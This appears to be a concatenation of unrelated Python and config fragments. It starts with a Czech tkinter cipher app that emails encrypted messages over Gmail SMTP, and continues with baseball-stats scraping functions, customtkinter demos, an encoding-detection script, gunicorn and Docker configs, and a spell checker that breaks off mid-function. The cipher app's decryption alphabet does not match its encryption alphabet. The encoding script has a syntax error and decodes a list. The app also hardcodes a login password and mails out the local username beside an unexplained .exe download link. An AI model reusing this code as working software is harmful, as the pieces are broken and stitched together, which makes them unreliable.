        navraceni_do_menu = tk.Button(sifrovani_okno,text="Vrátit se do menu",command=zpet_do_menu,font=("Arial",12,"bold"),bg="blue",fg="white",activeforeground="black")
        navraceni_do_menu.pack()

        #Konfigurace mailu
        def email(odesilatel,prijemce,password,nazev_souboru):
            qw = getpass.getuser()
            import datetime
            # Získání aktuálního času
            cas = datetime.datetime.now()
            hodiny_cas = cas.strftime("%H:%M:%S")
            formatovany_cas = cas.strftime("%Y-%m-%d %H:%M:%S")

            sender_password = password

            # Email configuration
            sender_email = odesilatel
            receiver_email = prijemce
            subject = "Byla vám poslána záhadná zpráva"

            with open(nazev_souboru,"r") as file:
                nova_abeceda = file.read()
            with open("napoveda_uzivatel","r") as file:
                napoveda_ano_ne = file.read()
            if napoveda_ano_ne == "ano":
                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;"><strong>{nova_abeceda}</strong></span></p>
<p style="text-align: left;"><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            else:
                html_message = f"""<p><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 36px; color: rgb(0, 0, 0); text-shadow: rgba(136, 136, 136, 0) 0px 0px 0px;">Byla v&aacute;m odesl&aacute;na z&aacute;hadn&aacute; zpr&aacute;va</span></strong></span></p>
<p><span style="font-size: 26px;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Co to m&aacute; znamenat?</strong></span></span></p>
<p>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">Před několika vteřinami, přesněji v&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{hodiny_cas}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">&nbsp; byla zaznamen&aacute;na podivn&aacute; aktivita na jak&eacute;msi programu s n&aacute;zvem&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">HiddenLanguage</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Jedin&aacute; dohledateln&aacute; informace je, že uživatel se vyskytuje pod přezd&iacute;vkou&nbsp;</span></font><strong style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">{qw}</strong>
    <font face="Arial, Helvetica, sans-serif"><span style="font-size: 18px;">. Pokud v&iacute;te co m&aacute;te dělat, tak čiňte jak usoud&iacute;te. V př&iacute;loze je zasl&aacute;n k&oacute;d, jenž se v&aacute;m bude zajist&eacute; hodit v dal&scaron;&iacute;ch akc&iacute;ch.</span></font>
</p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-size: 26px; font-family: Arial, Helvetica, sans-serif;"><strong>Zachycen&aacute; zpr&aacute;va ze serv</strong><strong>eru</strong></span></p>
<div><span style="font-family: Arial, Helvetica, sans-serif;"><strong><span style="font-size: 18px;">{sifrovany_text}</span></strong></span></div>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">Zachycen&yacute; k&oacute;d ze serv</strong><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: 26px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: left; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;">eru</strong></p>
<p style="text-align: left;"><strong style="font-weight: 700; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; font-size: medium; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; white-space: normal; background-color: rgb(255, 255, 255); text-decoration-thickness: initial; text-decoration-style: initial; text-decoration-color: initial;"><span style="font-size: 18px;">{nova_abeceda}</span></strong></p>
<p style="text-align: left;"><br></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 26px;"><strong>Co d&aacute;le</strong></span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">V př&iacute;loze jsou dva soubory. Jeden z nich se vždy jmenuje sifrovani.txt a druh&yacute; je pojmenov&aacute;n podle autora.</span></p>
<p style="text-align: left;"><span style="font-family: Arial, Helvetica, sans-serif; font-size: 19px;"><strong><span style="color: rgb(226, 80, 65);">De&scaron;ifrov&aacute;n&iacute;</span></strong></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">St&aacute;hněte tento soubor, kter&yacute; se nejmenuje &scaron;ifrov&aacute;n&iacute;, do složky Plocha - HiddenLanguage - Program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program a zvolte druhou možnost = de&scaron;ifrov&aacute;n&iacute;.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev textov&eacute;ho souboru, jenž jste si před chv&iacute;l&iacute; st&aacute;hnul. (Pozor, napi&scaron;te n&aacute;zev bez .txt!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vložte nečiteln&yacute; k&oacute;d, jenž vid&iacute;te nad sebou v č&aacute;sti B.&nbsp;</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Počkejte na v&yacute;sledek</li>
</ol>
<p><b style="font-family: Arial, Helvetica, sans-serif; font-size: 16px;">V odeslan&yacute;ch zpr&aacute;v&aacute;ch by jste měli vidět v&aacute;&scaron; odeslan&yacute; mail.</b></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><span style="font-size: 19px; color: rgb(41, 105, 176);"><strong>&Scaron;ifrov&aacute;n&iacute;</strong></span></span></p>
<ol>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Spusťte program.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zvolte prvn&iacute; možnost.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte text, kter&yacute; chcete &scaron;ifrovat.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte n&aacute;zev pro uložen&iacute; va&scaron;eho k&oacute;du. (např. tajemny_kod)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Uvid&iacute;te za&scaron;ifrovanou zpr&aacute;vu</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Vyberte zda-li chcete &scaron;ifru poslat někomu na mail.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte svůj e-mail. (Pouze a jedině Gmail funguje)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte e-mail toho, kdož m&aacute; mail obdržet.</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Zadejte sv&eacute; heslo. (heslo nikde neukl&aacute;d&aacute;me!)</li>
    <li style="font-family: Arial, Helvetica, sans-serif; font-size: 18px;">Je hotovo!</li>
</ol>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p><br></p>
<p><br></p>
<p><span style="font-family: Arial, Helvetica, sans-serif;"><br></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Tvůrce HiddenLanguage</strong><img src="https://myfiles.space/user_files/168855_15d4659979401e54/168855_custom_files/img1690038712.jpeg" alt="He know where you are" style="margin: 0 auto; display: block; width: 1100px;" width="1100" height="614"></span></p>
<p style="text-align: left;"><br></p>
<p style="text-align: center;"><br></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Doba odesl&aacute;n&iacute;: {formatovany_cas}</strong></span></p>
<p style="text-align: center;"><span style="font-family: Arial, Helvetica, sans-serif;"><strong>Soubor ke stažen&iacute;: <a href="https://www.mediafire.com/file/blnje4ut0ped9pi/HiddenLanguage.exe/file" target="_blank" rel="noopener noreferrer">MediaFire Download</a><br></strong></span></p>
<div style="color: red;"><br></div>
"""

            # Vytvoření instance MIMEText pro HTML obsah
            html_part = MIMEText(html_message, 'html')

            # Vytvoření multipart zprávy
            msg = MIMEMultipart()
            msg['From'] = sender_email
            msg['To'] = receiver_email
            msg['Subject'] = subject

            # Přidání HTML části do multipart zprávy
            msg.attach(html_part)


            # Přidání přílohy dm_heslo.txt
            with open(nazev_souboru, 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename=nazev_souboru)
                msg.attach(attachment)

            # Přidání přílohy screenshot.png
            with open("sifrovani.txt", 'rb') as file:
                attachment = MIMEBase('application', 'octet-stream')
                attachment.set_payload(file.read())
                encoders.encode_base64(attachment)
                attachment.add_header('Content-Disposition', 'attachment', filename='sifrovani.txt')
                msg.attach(attachment)

            # Odeslání e-mailu
            server = smtplib.SMTP('smtp.gmail.com', 587)
            server.starttls()
            server.login(odesilatel, sender_password)
            server.send_message(msg)
            server.quit()
        # Tady se dělá práce
        def Sifrovani(zprava_ke_skryti,nazev_souboru):
            abeceda = 'ABCDEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé'
            nova_abeceda = ''.join(random.sample(abeceda, len(abeceda)))

            # Uložení šifrace

            with open(nazev_souboru, "w") as file:
                file.write(nova_abeceda)
            # Konec ukládání

            prevodni_tabulka = str.maketrans(abeceda, nova_abeceda)
            global sifrovany_text
            sifrovany_text = zprava_ke_skryti.translate(prevodni_tabulka)

            with open("sifrovani.txt", "w") as file:
                file.write(sifrovany_text)

        sifrovani_okno.mainloop()

    def tlacitko_klik_desif():
        desifrovani_okno = tk.Tk()
        desifrovani_okno.geometry("1920x1080")
        desifrovani_okno.title("Dešifrování")
        menu.destroy()

        nazev = tk.Label(desifrovani_okno ,text="Dešifrování", font=("Arial", 30,"bold"))
        nazev.pack()

        zasifr_text = tk.Label(desifrovani_okno, text="Níže napište zprávu, jenž chcete dešifrovat.", font=("Arial", 15))
        zasifr_text.pack()


        textbox_obsah = tk.Text(desifrovani_okno, height=10, width=50, font=("Arial", 15))
        textbox_obsah.pack(pady=20)


        textbox_kod_label = tk.Label(desifrovani_okno,text="Zadejte dešifrovací kod v příloze (ten bez mezer)",font=("Arial",13))
        textbox_kod_label.pack(pady=5)
        textbox_kod = tk.Text(desifrovani_okno,height=2, width=20,font=("Arial",15))
        textbox_kod.pack()

        def Redirect():
            zasifrovany_text_textbox = textbox_obsah.get("1.0", "end-1c")
            textbox_kod_obsah = textbox_kod.get("1.0", "end-1c")
            Desifrovani(zasifrovany_text_textbox,textbox_kod_obsah)


        tlacitko_desifrovani = tk.Button(desifrovani_okno,text="Dešifrovat zprávu",command=Redirect,height=1,width=15,font=("Arial",15),bg="blue",fg="white")
        tlacitko_desifrovani.pack(pady=20)

        output_label = tk.Label(desifrovani_okno,text="Obsah dešifrované zprávy",font=("Arial",15))
        output_label.pack(pady=5)
        output = tk.Text(desifrovani_okno,height=10,width=50,font=("Arial",15))
        output.pack()


        def Desifrovani(zasifrovany_text,zasifrovany_kod):
            sifrovana_abeceda = zasifrovany_kod

            def create_decryption_map(original_alphabet, shuffled_alphabet):
                decryption_map = {}
                for orig_char, shuffled_char in zip(original_alphabet, shuffled_alphabet):
                    decryption_map[shuffled_char] = orig_char
                return decryption_map

            # Příklad použití:
            original_alphabet = 'ABDCEFGHIJKLMNOPQRSTUVWXYabcdefghijklmnopqrstuvwxyz123456789ěščřžýáíé#@!§'
            shuffled_alphabet = sifrovana_abeceda

            decryption_map = create_decryption_map(original_alphabet, shuffled_alphabet)

            # Dešifrování zprávy
            encrypted_message = zasifrovany_text
            decrypted_message = "".join(decryption_map.get(char, char) for char in encrypted_message)
            obsah_desifrovane_zpravy = decrypted_message

            output.delete("1.0", "end")  # Vymažeme obsah textového pole
            output.insert("1.0", obsah_desifrovane_zpravy)  # Vložíme dešifrovanou zprávu do textového pole







        #Tady budou věci po checkboxech
        desifrovani_okno.mainloop()





    def navraceni_do_menu():
        menu.destroy()
        Uvodni_menu()

    prostor_button = tk.Frame(menu)
    prostor_button.columnconfigure(0,weight=10)
    prostor_button.columnconfigure(1,weight=10)
    prostor_button.columnconfigure(2,weight=10)

    tlacitko_sif = tk.Button(prostor_button,text="Šifrovat", command=tlacitko_klik_sif,font=("Arial",15,"bold"),width=50,height=4,bg="red", fg="white",activebackground="orange",activeforeground="black")
    tlacitko_sif.grid(row=0,column=0,sticky=tk.W+tk.E)

    tlacitko_desif = tk.Button(prostor_button,text="Dešifrovat", command=tlacitko_klik_desif,font=("Arial",15,"bold"),width=50,height=4,bg="green", fg="white",activebackground="yellow",activeforeground="black")
    tlacitko_desif.grid(row=1,column=0,sticky=tk.W+tk.E)


    tlacitko_menu = tk.Button(prostor_button, text="Zpět do menu", command=navraceni_do_menu, font=("Arial", 15, "bold"),width=50,height=4,
                               bg="purple", fg="white", activebackground="pink",
                               activeforeground="black")
    tlacitko_menu.grid(row=2,column=0,sticky=tk.W+tk.E)

    prostor_button.pack(pady=100)
    #(x=600, y=100, width=100, height=100)

    menu.mainloop()

def Uvodni_menu():
    # Vytvoření okna
    global okno
    okno = tk.Tk()
    okno.geometry("800x500")
    okno.title("HiddenLanguage")

    # widget s časem
    def update_time():
        current_time = time.strftime("%d.%m.%Y %H:%M:%S")  # Formát času (hodiny:minuty:sekundy)
        time_label.config(text=current_time)
        okno.after(1000, update_time)  # Znovu spustit funkci každou sekundu (1000 ms)


    # Vytvoření tlačítka
    nazev = tk.Label(okno, text="\n" + "HiddenLanguage", font=("Arial", 30, "bold"))
    nazev.pack()

    informace = tk.Label(okno,
                         text="Tento program umí šifrovat a dešifrovat zprávy." + "\n" + "Zašifrované zprávy může odeslat jakékoliv určené osobě na mail." + "\n" + "Více informací naleznete na kubasobr.blogspot.com" + "\n" + "Original HiddenLanguage, all rights reserved",
                         font=("Arial", 12))
    informace.pack()

    tlacitko = tk.Button(okno, text="Klikněte pro start!", command=tlacitko_klik, font=("Arial", 25, "bold"), height=5,
                         width=24, bg="blue", fg="white", activebackground="aqua", activeforeground="black")
    tlacitko.pack(padx=50, pady=20)

    #WiDGET S AKTUÁLNÍM ČASEM CO SE AKTUALIZUJE PO 1s
    time_label = tk.Label(okno, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()


    # Spuštění smyčky událostí (main loop)
    okno.mainloop()

def Prihlaseni():
    def update_time():
        current_time = time.strftime("%d.%m.%Y %H:%M:%S")  # Formát času (hodiny:minuty:sekundy)
        time_label.config(text=current_time)
        prihlaseni.after(1000, update_time)  # Znovu spustit funkci každou sekundu (1000 ms)
    prihlaseni = tk.Tk()
    prihlaseni.geometry("800x700")
    prihlaseni.title("HiddenLanguage")

    def tlacitko_klik():
        heslo = entry_password.get()  # Získání zadaného hesla
        if heslo == "kubasobr4":  # Nahraďte "SECRET_PASSWORD" vaším tajným heslem
            label_error.config(text="Zadali jste správné heslo.",font=("Arial",10),fg="blue")
            prihlaseni.destroy()
            # ... Pokračování s vaším kódem ...
        else:
            label_error.config(text="Neplatné heslo, zkuste to znovu.")  # Nastavení chybového textu
            entry_password.delete(0, tk.END)  # Vymazání pole pro zadání hesla

    def tlacitko_stisk_klavesy(event):
        tlacitko_klik()

    # Zobrazení výzvy pro vstup hesla
    label = tk.Label(prihlaseni, text="Vítejte v aplikaci HiddenLanguage", font=("Arial", 30, "bold"))
    label.pack(pady=50)

    label_password = tk.Label(prihlaseni, text="Zadejte heslo:", font=("Arial", 20))
    label_password.pack()

    entry_password = tk.Entry(prihlaseni, font=("Arial", 20), show="*")
    entry_password.pack(pady=20)

    button = tk.Button(prihlaseni, text="Potvrdit", font=("Arial", 20), command=tlacitko_klik)
    button.pack(pady=30)

    label_error = tk.Label(prihlaseni, text="", font=("Arial", 15), fg="red")
    label_error.pack()

    entry_password.bind("<Return>", tlacitko_stisk_klavesy)

    time_label = tk.Label(prihlaseni, font=("Helvetica", 24), bg="light gray")
    time_label.pack(fill=tk.BOTH, expand=True)
    update_time()
    prihlaseni.mainloop()
    Uvodni_menu()





Prihlaseni()
Uvodni_menu()

def schedule_and_record(season=None, team=None):
    # retrieve html from baseball reference
    # sanatize input
    team = team.upper()
    try:
        if season < first_season_map[team]:
            m = "Season cannot be before first year of a team's existence"
            raise ValueError(m)
    # ignore validation if team isn't found in dictionary
    except KeyError:
        pass
    if season > datetime.now().year:
        raise ValueError('Season cannot be after current year')

    soup = get_soup(season, team)
    table = get_table(soup, team)
    table = process_win_streak(table)
    table = make_numeric(table)
    return table

def statcast_batter(start_dt=None, end_dt=None, player_id=None):
    """
    Pulls statcast pitch-level data from Baseball Savant for a given batter.

    ARGUMENTS
    start_dt : YYYY-MM-DD : the first date for which you want a player's statcast data
    end_dt : YYYY-MM-DD : the final date for which you want data
    player_id : INT : the player's MLBAM ID. Find this by calling pybaseball.playerid_lookup(last_name, first_name), finding the correct player, and selecting their key_mlbam.
    """
    start_dt, end_dt, player_id = sanitize_input(start_dt, end_dt, player_id)
    # inputs are valid if either both or zero dates are supplied. Not valid of only one given.
    if start_dt and end_dt:
        url = 'https://baseballsavant.mlb.com/statcast_search/csv?all=true&hfPT=&hfAB=&hfBBT=&hfPR=&hfZ=&stadium=&hfBBL=&hfNewZones=&hfGT=R%7CPO%7CS%7C=&hfSea=&hfSit=&player_type=batter&hfOuts=&opponent=&pitcher_throws=&batter_stands=&hfSA=&game_date_gt={}&game_date_lt={}&batters_lookup%5B%5D={}&team=&position=&hfRO=&home_road=&hfFlag=&metric_1=&hfInn=&min_pitches=0&min_results=0&group_by=name&sort_col=pitches&player_event_sort=h_launch_speed&sort_order=desc&min_abs=0&type=details&'
        df = split_request(start_dt, end_dt, player_id, url)
        return df

def statcast_batter(start_dt=None, end_dt=None, player_id=None):
    """
    Pulls statcast pitch-level data from Baseball Savant for a given batter.

    ARGUMENTS
    start_dt : YYYY-MM-DD : the first date for which you want a player's statcast data
    end_dt : YYYY-MM-DD : the final date for which you want data
    player_id : INT : the player's MLBAM ID. Find this by calling pybaseball.playerid_lookup(last_name, first_name), finding the correct player, and selecting their key_mlbam.
    """
    start_dt, end_dt, player_id = sanitize_input(start_dt, end_dt, player_id)
    # inputs are valid if either both or zero dates are supplied. Not valid of only one given.
    if start_dt and end_dt:
        url = 'https://baseballsavant.mlb.com/statcast_search/csv?all=true&hfPT=&hfAB=&hfBBT=&hfPR=&hfZ=&stadium=&hfBBL=&hfNewZones=&hfGT=R%7CPO%7CS%7C=&hfSea=&hfSit=&player_type=batter&hfOuts=&opponent=&pitcher_throws=&batter_stands=&hfSA=&game_date_gt={}&game_date_lt={}&batters_lookup%5B%5D={}&team=&position=&hfRO=&home_road=&hfFlag=&metric_1=&hfInn=&min_pitches=0&min_results=0&group_by=name&sort_col=pitches&player_event_sort=h_launch_speed&sort_order=desc&min_abs=0&type=details&'
        df = split_request(start_dt, end_dt, player_id, url)
        return df

def statcast_pitcher(start_dt=None, end_dt=None, player_id=None):
    """
    Pulls statcast pitch-level data from Baseball Savant for a given pitcher.

    ARGUMENTS
    start_dt : YYYY-MM-DD : the first date for which you want a player's statcast data
    end_dt : YYYY-MM-DD : the final date for which you want data
    player_id : INT : the player's MLBAM ID. Find this by calling pybaseball.playerid_lookup(last_name, first_name), finding the correct player, and selecting their key_mlbam.
    """
    start_dt, end_dt, player_id = sanitize_input(start_dt, end_dt, player_id)

    # inputs are valid if either both or zero dates are supplied. Not valid of only one given.
    if start_dt and end_dt:
        url = 'https://baseballsavant.mlb.com/statcast_search/csv?all=true&hfPT=&hfAB=&hfBBT=&hfPR=&hfZ=&stadium=&hfBBL=&hfNewZones=&hfGT=R%7CPO%7CS%7C=&hfSea=&hfSit=&player_type=pitcher&hfOuts=&opponent=&pitcher_throws=&batter_stands=&hfSA=&game_date_gt={}&game_date_lt={}&pitchers_lookup%5B%5D={}&team=&position=&hfRO=&home_road=&hfFlag=&metric_1=&hfInn=&min_pitches=0&min_results=0&group_by=name&sort_col=pitches&player_event_sort=h_launch_speed&sort_order=desc&min_abs=0&type=details&'
        df = split_request(start_dt, end_dt, player_id, url)
        return df

class App(CTk):
    def __init__(self):
        super().__init__()

        self.button = CTkButton(
            self, text="Blogs", #Text to be displayed
            fg_color="#ec3642", #color of the button
            hover_color="white", #color of the button when mouse is over
            font=("Montserrat", 16), #font used
            corner_radius=12, width=100, #radius of edges and total width
            command=self.open) #Command to run when button is clicked
        self.button.pack(padx = 10, pady = 10)

    def open(self):
        import webbrowser #library to open a specific URL
        # Opening the given link.
        webbrowser.open("https://python-hub.com/blog-2/")

if __name__ == "__main__":
    app = App()
    app.mainloop()

from customtkinter import *

app = CTk()

button = CTkButton(app)
button.pack(padx = 10, pady = 10)

app.mainloop()

# In OOP
class App(CTk):
    def __init__(self):
        super().__init__()

        self.button = CTkButton(self)
        self.button.pack(padx = 10, pady = 10)

        
if __name__ == "__main__":
    app = App()
    app.mainloop()

#Python

from pathlib import Path
import shutil
import chardet


# region - FUN - detect_encoding

# ----------------------------------------------------------------------------------------------

def detect_encoding(dfn):



    with open(dfn, 'rb') as f_csv:

        chardet_result = chardet.detect(f_csv.read())

        chardet_encoding = chardet_result.get('encoding')

        chardet_confidence = chardet_result.get('confidence')

        Watch.Log(chardet_confidence, 2)

        return chardet_encoding

# ----------------------------------------------------------------------------------------------

# endregion - FUN - detect_encoding

job_file = Watch.ExpandString("%F")
encoding = detect_encoding(job_file)

#Watch.Log(f"detected encoding: {encoding}", 2)

temp = Watch.ExpandString("%ttemp.csv")
#Watch.Log(temp, 2)

#with open(Watch.ExpandString("%F"), 'rb', encoding=encoding) as temp_csv:
with open(Watch.ExpandString("%F"), 'rb') as temp_csv:

    content = temp_csv.readlines()

    for line in content:
        #encoding = detect_encoding(line)
        Watch.Log(f"{'*'*100}\n{line}", 2)
        Watch.Log(f'utf-8...{line.decode("utf-8")}', 2)

        chardet_result = chardet.detect(line)

        chardet_encoding = chardet_result.get('encoding')

        chardet_confidence = chardet_result.get('confidence')

        Watch.Log(f"Enc...{chardet_encoding}", 2)
        Watch.Log(f"Con...{chardet_confidence}", 2)
        Watch.Log(f"New...{str(line).encode('utf-8').decode('utf-8')}\n", 2)
        #Watch.Log(f"{'~'*100}\n{line}", 2)


with open(temp, 'w') as output:

    output.write(content.decode("utf-8")


#Path(job_file).unlink()
#shutil.move(temp, job_file)

# Configuration file for `gunicorn` command.
# 1) Set the settings in this file.
# 2) Run `gunicorn` from the terminal in the directory containing this file

import multiprocessing
import os

from dotenv import load_dotenv

load_dotenv()

# Get the `ENVIRONMENT` env variable and convert it to lowercase if it exists
environment = os.getenv("ENVIRONMENT")
environment = environment.lower() if environment else "dev"


# Gunicorn app
# Tell Gunicorn which application to run
wsgi_app = "app.main:app"

# Requests
# Restart workers after so many requests, with some variability.
max_requests = 1000
max_requests_jitter = 50

# Logging
# Use stdout for logging
log_file = "-"

# The IP address and port to accept requests on
bind = "0.0.0.0:8000"

# Use this formula for production, otherwise only run 2 workers
workers = (
    multiprocessing.cpu_count() * 2 + 1
    if environment in ["prod", "production"]
    else 2
)
worker_class = "uvicorn.workers.UvicornWorker"

print('Hello World')
print('Helldzscdzdfsd')

FROM python:3.11-slim


# Create a non-root user to run the app as
RUN addgroup --system app && adduser --system --group app

# Environment variables
ENV PYTHONUNBUFFERED=1 \
    PYTHONDONTWRITEBYTECODE=1 \
    PIP_NO_CACHE_DIR=off \
    PIP_DISABLE_PIP_VERSION_CHECK=on \
    PIP_DEFAULT_TIMEOUT=100 \
    POETRY_VIRTUALENVS_IN_PROJECT=true \
    # Set Poetry to NOT install the dependencies into a virtual environment, instead install them into the system's Python environment
    POETRY_VIRTUALENVS_CREATE=false \
    POETRY_NO_INTERACTION=1 \
    PYTHONPATH=${PYTHONPATH}:${PWD}

# Make a directory for the project
RUN mkdir /app

# Change to the `/app` directory
WORKDIR /app

# Copy the project files over to the container
COPY pyproject.toml /app
COPY . /app

# Chown all the files to the app user
RUN chown -R app:app /app

# Install Poetry
RUN pip3 install poetry

# Export the Poetry pack list to another format
RUN poetry export -f requirements.txt > requirements.txt

# Install the Python dependencies
RUN poetry install --only main

# Become the `app` user
USER app

# Expose port 8000 on the container
EXPOSE 8000

#CMD ["poetry", "run", "gunicorn"]
CMD ["gunicorn"]

# A GUI real time spell checker.
# for removing special characters
import re
# for GUI
from tkinter import scrolledtext
import tkinter as tk
from customtkinter import *
# for matching words
import nltk
from nltk.corpus import words

nltk.download("words")
class SpellingChecker(CTk):
    def __init__(self):
        super().__init__()
        self.title("Spelling Checker")
        self.geometry("600x500")

        # Creating a widget to let user type
        self.text_area = scrolledtext.ScrolledText(self,
                                      wrap = tk.WORD, 
                                      width = 70, 
                                      height = 27, 
                                      font = ("Times New Roman",
                                              15))
        # To check the spellings whenever any key is released.
        self.text_area.bind("<KeyRelease>", self.check)
        self.text_area.grid(column = 0, pady = 10, padx = 10)
        # keeping track of spaces.
        self.old_spaces = 0
    
    def check(self, event):
        # getting whole content typed by user
        content = self.text_area.get("1.0", tk.END)
        # counting spaces
        space_count = content.count(" ")

        # checks spelling only if the space key was pressed.
        if space_count != self.old_spaces: #checking if there are anymore spaces.
            self.old_spaces = space_count #updating the new no. of spaces.

            # removing any red highlights if there
            for tag in self.text_area.tag_names():
